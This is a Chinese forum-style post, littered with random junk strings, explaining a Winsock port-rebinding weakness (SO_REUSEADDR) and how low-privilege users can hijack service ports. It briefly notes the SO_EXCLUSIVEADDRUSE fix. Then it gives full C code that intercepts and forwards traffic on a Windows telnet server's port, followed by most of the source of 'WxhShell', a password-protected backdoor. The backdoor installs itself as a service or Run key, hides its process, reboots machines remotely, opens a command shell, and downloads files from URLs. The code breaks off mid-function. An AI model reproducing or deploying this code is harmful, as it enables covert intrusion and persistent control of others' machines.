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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z"@UNypc, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QW@`4W0F xOpCybmc saddr.sin_family = AF_INET; X9uYqvP\( :+S~N)0j^ saddr.sin_addr.s_addr = htonl(INADDR_ANY); N^tH&\G\m 0',-V2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5./(n7d_ K06&.>v_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q|HOy8O}Z &f>1/"lnd\ 这意味着什么?意味着可以进行如下的攻击: _/[(&}M w8AHs/'r 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F1zsGlObu} e~BUAz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4ze4{a^ <~!R|5sK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !Ry4w|w :E9 @9>3S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 k<NEauQ Z0%Qy+% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7(= 09z Y]t)k9|vv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 };;6706a 7
S2QTRvH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +~\c1|f IOOAaa @( #include A 4|a{\|$ #include HOAgRhzE #include y]ZujfW7 #include H#j Z'I DWORD WINAPI ClientThread(LPVOID lpParam); vwQ6= int main() "*aL(R { dD8f`*"*= WORD wVersionRequested; ~~'UQnUN4 DWORD ret; zc#aQ. WSADATA wsaData; 5S?+03h~ BOOL val; ;O7<lF\7o SOCKADDR_IN saddr; 9i+SU|;j SOCKADDR_IN scaddr; w[wrZ:[ int err; RBzBR)@5 SOCKET s; U:
Q&sq8U SOCKET sc; VlQaT7Q int caddsize; :vJ0Ypz-u HANDLE mt; (>Tq DWORD tid; <jvSV5% wVersionRequested = MAKEWORD( 2, 2 ); P 6|\
^ err = WSAStartup( wVersionRequested, &wsaData ); 'hi.$G_R if ( err != 0 ) { =m?x|Zc_v printf("error!WSAStartup failed!\n"); !,< )y}L^) return -1; ^.@BD4/RPt } hzjEO2 saddr.sin_family = AF_INET; 2aUy1*aM V<;w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r/vRaOg>X iv/!c Mb saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); noa=wy saddr.sin_port = htons(23); ]2P*Z6Az if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L.@o { .-g++f(_i printf("error!socket failed!\n"); #{kwl|c return -1; yqw#= fy } Zxwcj(d val = TRUE; B@W`AD1^{ //SO_REUSEADDR选项就是可以实现端口重绑定的 @ukIt if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !h0#es\ { le-Q&* printf("error!setsockopt failed!\n"); 4>&%N\$* return -1; ^l4=/=RR } 8 3wa{m: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sSMcF[]@2I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }QL 2#R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8&"@6/)[ !5P\5WF~Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _JjR=
m { 'bXm,Ed ret=GetLastError(); 1c}
%_Z/ printf("error!bind failed!\n"); f|f9[h' return -1; ,NQucp } QM
}TPE listen(s,2); b!R\ u1b while(1) U
h'1f7% { 5@6%/='I q caddsize = sizeof(scaddr); Wm/0Y'$r&k //接受连接请求 {\Eqo4A5} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ul$^]ZWkI if(sc!=INVALID_SOCKET) <Yk#MeiEp { <y}`PmIM I mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qf|=xV,F if(mt==NULL) OXs-gC{b { c.u$NnDU6 printf("Thread Creat Failed!\n"); wYrb P11 break; x05yU } H)),~<s } %/o8-N|_[ CloseHandle(mt); 4_E{ } ^hhJ6E_W closesocket(s); MW^,l=kqW) WSACleanup(); ZV`D} CQ return 0; >t,BNsWB } EhkvC>y DWORD WINAPI ClientThread(LPVOID lpParam) h$Z_r($b
{ ;/3
< SOCKET ss = (SOCKET)lpParam; i 5"g?Wa2N SOCKET sc; CVh^~!"7j unsigned char buf[4096]; 6p
X[m{ SOCKADDR_IN saddr; yu'2 long num; <303PPX^6 DWORD val; d+_wN2 DWORD ret; ,{ C //如果是隐藏端口应用的话,可以在此处加一些判断 YI=03}I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 <(YmkOS+ saddr.sin_family = AF_INET; xbFoXYqgP saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZLBv\VQ saddr.sin_port = htons(23); Ub%al
D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SEn-8ZF { Rl7V~dUY printf("error!socket failed!\n"); +)#d+@- return -1; |-Z9-rl } MOuI;EF val = 100; "(6]K}k@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #-ioLt% { /hPgOaB ret = GetLastError(); V=pg9KR!T return -1; T>l=0a # } W2VH? -Gw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -vcHSwGb { (%huWW
j ret = GetLastError(); ;O*y$|+PA return -1; -0 [^w } ]>NP?S
)R if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7u"t4Or { 2,c{Z$\kn printf("error!socket connect failed!\n"); 9Z,vpTE closesocket(sc); !\Y85o>JU closesocket(ss); w`(EW>i return -1; FnN@W^/z } 5eI3a!E]O while(1) e7f3dqn0 { ^mLZT* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;Ocih<4k //如果是嗅探内容的话,可以再此处进行内容分析和记录 N4$!V}pp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }[P1Va[! num = recv(ss,buf,4096,0); p$XL|1G*?H if(num>0) 7(;M send(sc,buf,num,0); gdupG else if(num==0) .]+oE$,! break; !7MC[z(|N num = recv(sc,buf,4096,0); YN1P9j#0d if(num>0) +'9l 2DI; send(ss,buf,num,0); q<L>r?T[ else if(num==0) HtUFl break; b[<zT[.: } DGl_SMJb closesocket(ss); cD&53FPXC closesocket(sc); S) /(~ return 0 ; TFbMrIF
} <StyO[ G992{B !/W[6'M#p ========================================================== S}Wj+H;
qJ=4HlLno 下边附上一个代码,,WXhSHELL D[2I_3[wp 6/ir("LK ========================================================== f>k<I[C< ]iewukB4 #include "stdafx.h" isaDIl;L/ a%"mgCB #include <stdio.h> '!*,JG5_ #include <string.h> +H5=zf2 #include <windows.h> gWm
-}Nb4 #include <winsock2.h> i1]*5;q #include <winsvc.h> V @A+d[ #include <urlmon.h> \2(Uqf#_ (9r\YNK #pragma comment (lib, "Ws2_32.lib") "oZ-W?IK E #pragma comment (lib, "urlmon.lib") 6-U+<[,x R}MdBE #define MAX_USER 100 // 最大客户端连接数 \_pP:e #define BUF_SOCK 200 // sock buffer XUT,)dL #define KEY_BUFF 255 // 输入 buffer Tbl~6P aqq7u5O1r #define REBOOT 0 // 重启 FA-""] #define SHUTDOWN 1 // 关机 ZUJ! t]|WRQvy8 #define DEF_PORT 5000 // 监听端口 1Zc1CUMG t#tAvwFM8 #define REG_LEN 16 // 注册表键长度 J<h^V+x #define SVC_LEN 80 // NT服务名长度 o2e aSG rQ -pD // 从dll定义API *oAv:8"iY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P;o6rQf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SoZ$1$o2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mg?^ 5`* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cn&\q.!fh ]~g6#@l // wxhshell配置信息 5)fEs.r0U struct WSCFG { QXZjsa_| int ws_port; // 监听端口 CL{R.OA char ws_passstr[REG_LEN]; // 口令 qgd#BJ= int ws_autoins; // 安装标记, 1=yes 0=no R)% Jr.U char ws_regname[REG_LEN]; // 注册表键名 +]^6&MqO char ws_svcname[REG_LEN]; // 服务名 Pt~mpRlH char ws_svcdisp[SVC_LEN]; // 服务显示名 s@^(1g[w` char ws_svcdesc[SVC_LEN]; // 服务描述信息 f/t1@d! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2P9gS[Ub int ws_downexe; // 下载执行标记, 1=yes 0=no '\qd{mM\r char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Vb>!;C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c , a+u l:v:f@M& }; G}1?lO_d` [t@ // default Wxhshell configuration {2<A\nW struct WSCFG wscfg={DEF_PORT, OQ&?^S`8', "xuhuanlingzhe", fC>3{@h}* 1, <k)@PAV "Wxhshell", 1"J\iwN3 "Wxhshell", aa:Oh^AJy "WxhShell Service", `2 X~3im "Wrsky Windows CmdShell Service", e;KZTH; "Please Input Your Password: ", Mf)0Y~_:R# 1, 5MsE oLg " http://www.wrsky.com/wxhshell.exe", B9IqX "Wxhshell.exe" d#yb($HAJ }; iXN"M` nhm Lc ,te1 // 消息定义模块 S-{3'D[Nj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2_@vSwC char *msg_ws_prompt="\n\r? for help\n\r#>"; 0{bGVLp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ssVO+
T char *msg_ws_ext="\n\rExit."; Qhlgu! char *msg_ws_end="\n\rQuit."; b|F_]i T char *msg_ws_boot="\n\rReboot..."; 1<#J[$V char *msg_ws_poff="\n\rShutdown..."; #~J)?JL char *msg_ws_down="\n\rSave to "; 4:\1S~WW ~e<l`rg# char *msg_ws_err="\n\rErr!"; 7kmU/(8 char *msg_ws_ok="\n\rOK!"; $Lpt2:.((
kfaRN^ char ExeFile[MAX_PATH]; KLpu7D5(| int nUser = 0; w'[lIEP 2$ HANDLE handles[MAX_USER]; ]$ [J_f*x int OsIsNt; UN{_f)E? <eRE;8C- SERVICE_STATUS serviceStatus; s'\PU1{ SERVICE_STATUS_HANDLE hServiceStatusHandle; 6u>${} bQG2tDvu[ // 函数声明 $]:ycn9l int Install(void); jt|e?1:vF int Uninstall(void); ;WX)g&19x int DownloadFile(char *sURL, SOCKET wsh);
9?c0cwP? int Boot(int flag); tRU+6D
<w void HideProc(void); _[|~(lDJl int GetOsVer(void); -V@vY42 int Wxhshell(SOCKET wsl); uM"G)$I\ void TalkWithClient(void *cs);
'PW~4f/m int CmdShell(SOCKET sock); (S/f!Dk&3 int StartFromService(void); h$[}lZDg int StartWxhshell(LPSTR lpCmdLine); NoS|lT SP][xdN7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UFnz3vc VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hts.G~~8 Zcq'u
jU // 数据结构和表定义 4QbD DvRQ^ SERVICE_TABLE_ENTRY DispatchTable[] = #({0HFSC:j { ZuIr=`"j {wscfg.ws_svcname, NTServiceMain}, Vae}:8'} {NULL, NULL} Pg[XIfBva }; ZdbZ^DUR<( ^`ah\L // 自我安装 : vN'eL|# int Install(void) *Dx&} " { b#;%TbDF char svExeFile[MAX_PATH]; 1fBj21zG HKEY key; rEwEdyK strcpy(svExeFile,ExeFile); 5S4kn.3 L{y%\:] // 如果是win9x系统,修改注册表设为自启动 u0M[B7Q if(!OsIsNt) { ~#/NpKHT@A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J})G l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f7B)iI! RegCloseKey(key); ]A oRK=aH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3!_X FV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1}1.5[4d RegCloseKey(key); `I|$U)' return 0; 7x8/Vz@\ } oujg(
^E } Cf@~W)K } Le#>uWM else { ,CiN@T \& m$^Wyk} // 如果是NT以上系统,安装为系统服务 ?wzE+p- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~,[<R if (schSCManager!=0) x6Q,$B { *x[ZN\$`Y SC_HANDLE schService = CreateService .U.Knn ( +]I7]
schSCManager, v x qsK wscfg.ws_svcname, _*\:UBZx6 wscfg.ws_svcdisp, d{^9` J' SERVICE_ALL_ACCESS, UI S\t^pJD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
fFu+P<?" SERVICE_AUTO_START, w1q-bIU SERVICE_ERROR_NORMAL, %M"rc4Xd svExeFile, V$U#'G>m NULL, om6'%nXhn NULL, I8*_\Ez NULL, QWL$F:9: NULL, mS)|i+5 NULL ^P30g2gv> ); vv0A5p8H if (schService!=0) \09m
?;^ { RsnKB/ CloseServiceHandle(schService); 8T ?=_| CloseServiceHandle(schSCManager); `[)
awP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ph@hk0dgr/ strcat(svExeFile,wscfg.ws_svcname); ~>8yJLZ.7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZDHm@,d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f(}?Sp_ RegCloseKey(key); Mr/;$O{ return 0; YN.[KQ(! } "u#,#z_ } |~)!8N.{ CloseServiceHandle(schSCManager); WI@l2`X } {D6lSj } )"W__U0 R@ksYC3 F return 1; 05o +VF;z } TVy\%FP^L f]c{,LFvZ // 自我卸载 TsiI5'tx int Uninstall(void) [2h4%{R& { | ]#PF* HKEY key; =$kSvCjP 2G=prS`s if(!OsIsNt) { ySkz5K+|g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v#/k`x\ RegDeleteValue(key,wscfg.ws_regname); l1_hD,4 RegCloseKey(key); {lv@V*_Y0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]7+9>V RegDeleteValue(key,wscfg.ws_regname); L!/Zw~ RegCloseKey(key); K+HP2|#6 return 0; @\ udaZc } _JEe] } 10?+6*d } Whd.AaD\ else { 4MM /i} mKTE%lsH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3MqyHOOv if (schSCManager!=0) H3Ws$vl9n { yRd [$p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hj4!* c if (schService!=0) 5~,usA* { utSW> if(DeleteService(schService)!=0) { =}F}XSvXH CloseServiceHandle(schService); <V}
ec1 CloseServiceHandle(schSCManager); ,,}&
Q%5 return 0; l~mC$>f } Qs\m"yx CloseServiceHandle(schService); GXk]u } Pp{Re|. CloseServiceHandle(schSCManager); KE$I!$zO } _bsAF^ ; } UnVYGch t=(d, kf return 1; CdZS"I } g
\;,NW^ SN#Cnu} // 从指定url下载文件 o5h*sQ9 int DownloadFile(char *sURL, SOCKET wsh) ,8Eg/ { fYgEiap HRESULT hr; g#*LJ`1 char seps[]= "/"; (T65pP_P 7 char *token; ]a=n(`l? char *file; lGhhH_ char myURL[MAX_PATH]; uO^,N**R# char myFILE[MAX_PATH]; 7T69tQZ< E'g?44vyw strcpy(myURL,sURL); .DrGr:UW token=strtok(myURL,seps); Iz_#wO while(token!=NULL) &x"hM { 6<t<hP_3O file=token; xI>HY9i) token=strtok(NULL,seps); <>shx;g^C } Pt=@U: /mK."5-cm GetCurrentDirectory(MAX_PATH,myFILE); .ri?p:a}w strcat(myFILE, "\\"); o;[cApiQ,2 strcat(myFILE, file); qu`F,OG send(wsh,myFILE,strlen(myFILE),0); e'dx
Y( send(wsh,"...",3,0); ]H-5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (F+]h]KSi if(hr==S_OK) zE8qU; return 0; s=8$h:^9> else {3@"}Eh return 1; KFhnv`a.0 j=kz^o~mH } ZCAg)/ ./qbWr`L // 系统电源模块 7X{@$>+S int Boot(int flag) WupONrH1e { $?*XPzZ HANDLE hToken; Q $^)z_jai TOKEN_PRIVILEGES tkp; -n"7G%$M w678 if(OsIsNt) { 0Qr|!B:+9) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q,>-4Cm LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @v~<E?Un tkp.PrivilegeCount = 1; w,zm$s ^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pY$DOr-r` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2J &J if(flag==REBOOT) { 9i`MUE1Sh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !*!i&0QC~R return 0; 6^QSV@N| } M<K}H8? else { :G4)edwe if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "ivSpec.V return 0; ]N^>>k } dTVh{~/ } R^VmNj else { Ae8P'FWB> if(flag==REBOOT) { [A'9sxG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ijeas< return 0; $wm8N.I3I }
3J}/<&wv else { zgPUW z
X= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }JM02R~I return 0; ekPn`U } ,|^ lqY } H=@S+4_bK y{9<>28 return 1; [pzo[0G 'v } \=
G8 8,&pX ga // win9x进程隐藏模块 1$v1:6 void HideProc(void) 7hAc6M$h; { A 6j>KTU A3A"^f$$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rrrn8b6
if ( hKernel != NULL ) #@Rtb\9 { Ou5,7Ne pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C<E;f]d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 55V&[>|K5 FreeLibrary(hKernel); +nKf ^rG } JQ<9~J 4mci@1K#^ return; ."h>I @MH } `{+aJ0<S >U62vX" // 获取操作系统版本 qlg?'l$03) int GetOsVer(void) ,3bAlc8D7 { oLc OSVERSIONINFO winfo; v"V? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pKhV<MFB GetVersionEx(&winfo); 9;L50q>s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~PA6e+gmL return 1; *3h!&.zm else .]LP327u return 0; JU!vVA_ } $@eFSA5k,7 .ZVo0 // 客户端句柄模块 ]GmXZi int Wxhshell(SOCKET wsl) &-(p~[| { tS
sDW!!M SOCKET wsh; [' cq struct sockaddr_in client; m:C |R-IL DWORD myID; /F_(&H!m mAuN* ( while(nUser<MAX_USER) ct@i]}"` { ,_U3p , int nSize=sizeof(client); A>Xt 5vk+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >OW>^%\!1 if(wsh==INVALID_SOCKET) return 1; `cpUl*Y= l>?k>NEpP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4qg]
oiT if(handles[nUser]==0) ds<q"S{p closesocket(wsh); \"=b8x else k-|b{QZ8!; nUser++; O_|p{65 } b:YyzOqEu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dH+oV` ~,O}wT6q return 0; &/{x7;e }
1ZRSeh "Rq)%o$Z // 关闭 socket
{U7A&e0eW void CloseIt(SOCKET wsh) mqKr+
{ ZfSAXr "( closesocket(wsh); Q+=D#x nUser--; Nh+ZSV4WJ: ExitThread(0); gs9VCaIa } f}?q A"no!AN // 客户端请求句柄 JTfG^Nv>K void TalkWithClient(void *cs) dx[kG {
FA#8 Cl'3I%$8K SOCKET wsh=(SOCKET)cs; )+v'@]r char pwd[SVC_LEN]; {,
zg char cmd[KEY_BUFF]; ;&U! g& char chr[1]; 1`l10f qU int i,j; QP1bm]QYA TI^M9;b while (nUser < MAX_USER) { 1xt N3{c ZY{zFg9 if(wscfg.ws_passstr) { ^laf!kIP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4KT-U6zNx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UWW_[dJr //ZeroMemory(pwd,KEY_BUFF); %N0cp@Vz i=0; 0Lki( while(i<SVC_LEN) { Wz-7oP%;I B4ky%gF4 // 设置超时 8jm\/?k| fd_set FdRead; -8D$ [@y( struct timeval TimeOut; =3<@{^Eg FD_ZERO(&FdRead); N[8y+2SZ FD_SET(wsh,&FdRead); ["
nDw<U TimeOut.tv_sec=8; ?R\:6x< TimeOut.tv_usec=0; dT4e[4l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =~F.7wq*^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DTp|he 6n5>{X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HA::(cXL pwd =chr[0]; HT6+OK(~dJ if(chr[0]==0xd || chr[0]==0xa) { us3fBY' pwd=0; -3eHJccB break; )kuw&SH, } E1V;eoK.D i++; (#%R'9Rv } `o,D[Jd LSN%k5G7. // 如果是非法用户,关闭 socket Tv`-h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kr6^6I. } H_+F~P5RC .~yz1^ c send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [sweN]b6F send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *d;D~"E<@ }~3 %KHT while(1) { R8YA"(j!L h!UB#-
ZeroMemory(cmd,KEY_BUFF); /ng+IC3 Q^z&;%q1 // 自动支持客户端 telnet标准 "8YXFg j=0; ]eD5It\ while(j<KEY_BUFF) { RmcQGQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a>/cVu'kz cmd[j]=chr[0]; GUqhm$6a if(chr[0]==0xa || chr[0]==0xd) { DV">9{"5'] cmd[j]=0; a54qv^IS break; PDH00(#;+ } 6m!%X GZT j++; i%a jL } !JE=QG" qD?-&>dBWi // 下载文件 =Zc
Vywz;+ if(strstr(cmd,"http://")) { QwL'5ws{q send(wsh,msg_ws_down,strlen(msg_ws_down),0); sU}.2k if(DownloadFile(cmd,wsh)) FsyM{LT send(wsh,msg_ws_err,strlen(msg_ws_err),0); c<J/I_! else WG?;Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); soi.`xE } r7=r~3) else { g4fe(.?c, Z_Z; g]|! switch(cmd[0]) { T6=q[LpsKN aO]FQ#l2b // 帮助 =f*Wj\ case '?': { WPzq?yK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8>y!=+9_ break; ?E88y } _6,Tb] // 安装 9X6l`bo' case 'i': { F"*.Qq if(Install()) dDoKmuY>5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Z.2g]. else lqe71](sK8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ddiBjp2.! break; 07:N)y, } aur4Ky> : // 卸载 IU*w'a case 'r': { ~0ku,P#D if(Uninstall()) ;`P}\Q{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); d:V6.7>, else TaN]{k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M~+T
$K break; lImg+r T{ } "2~%-;c // 显示 wxhshell 所在路径 6s$jt-bH case 'p': { /y<nAGtD& char svExeFile[MAX_PATH]; K@UQ O strcpy(svExeFile,"\n\r"); TUaW' strcat(svExeFile,ExeFile); "X7;^yY send(wsh,svExeFile,strlen(svExeFile),0); Q
lg~S1D_v break; 39+6ZTqx } g.re`m|Aj // 重启 I/
q>c2Pw$ case 'b': { ^&mJDRe send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Zq jq0O# if(Boot(REBOOT)) #=* y7w send(wsh,msg_ws_err,strlen(msg_ws_err),0); JM?X]l else { K
V-}:u( closesocket(wsh); &+Iv"9 ExitThread(0); 2/]74d8 } cLpkgK&a break; &bO5+[ } ?\D=DIN-r // 关机 8A 3pYW- case 'd': { HI}9"(t} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !u;r<:g! if(Boot(SHUTDOWN)) zu@5,AH send(wsh,msg_ws_err,strlen(msg_ws_err),0); z#!}4@_i3 else { ub* j&L=
closesocket(wsh); X\a*q]"_ ExitThread(0); :Vyr8+] } kA1C& break; D<35FD, } ue;o:>G // 获取shell ' `K-rvF,C case 's': { apxY2oE& CmdShell(wsh); P}kp_l27 closesocket(wsh); ?B!=DC @?H ExitThread(0);
Zoi\r break; l1h;ng6 } s^n}m#T // 退出 k]<E1 c/ case 'x': { .9Y,N&V<H send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M#PutrH CloseIt(wsh); |Qe#[Q7 break; V#Px } T.57Okp // 离开 1JIo,7 case 'q': { Z.]=u(=a send(wsh,msg_ws_end,strlen(msg_ws_end),0); WE hDep: closesocket(wsh); wCwJ#-z.= WSACleanup(); GkT:7`|C exit(1); ~fDMzOd break; *yx&4)Or } HZHzjrx } M^E\L
C } GT)63| wLDWD,"K // 提示信息 Z?#_3h$"T if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1gTW*vLM\ } -or^mNB_z } aNLkkkJg<; >pVrY;
P[ return; aq|R? } 38[k o3 EAg Nu?L // shell模块句柄 SREe,
e\ int CmdShell(SOCKET sock) nlfu y[oX { U60jkzIRH STARTUPINFO si; */|Vyp- ZeroMemory(&si,sizeof(si)); 6^oQ8unmS si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZDI%?.U si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; soH
M5<U PROCESS_INFORMATION ProcessInfo; 0(Hhb#WDh\ char cmdline[]="cmd"; _7O;ED+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I\BcG(hlJ return 0; GomTec9. } Jx:t(oUR+ 0M'[|cid| // 自身启动模式 VGVZ`| int StartFromService(void) [CBhipoc { \GR M,c typedef struct a*pwVn { g@va@*|~d DWORD ExitStatus; 0! :1o61 DWORD PebBaseAddress; &7{/ x~S{ DWORD AffinityMask; U8T"ABvFP DWORD BasePriority; b* QRd ULONG UniqueProcessId; /%#LA ULONG InheritedFromUniqueProcessId; [&Z3+/lR* } PROCESS_BASIC_INFORMATION; #DN5S#Ic {x+"Ru~7, PROCNTQSIP NtQueryInformationProcess; ^+ hJ& 9W ]$StbBP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cPemrNxydN static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;}tEU'& v[aFSXGj) HANDLE hProcess; : DxCjv PROCESS_BASIC_INFORMATION pbi; hr+,-j x}`]9XQ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oPX `/X# if(NULL == hInst ) return 0; ^st.bzg+[ 0u?{"xH{+} g_pEnumProcessModules = 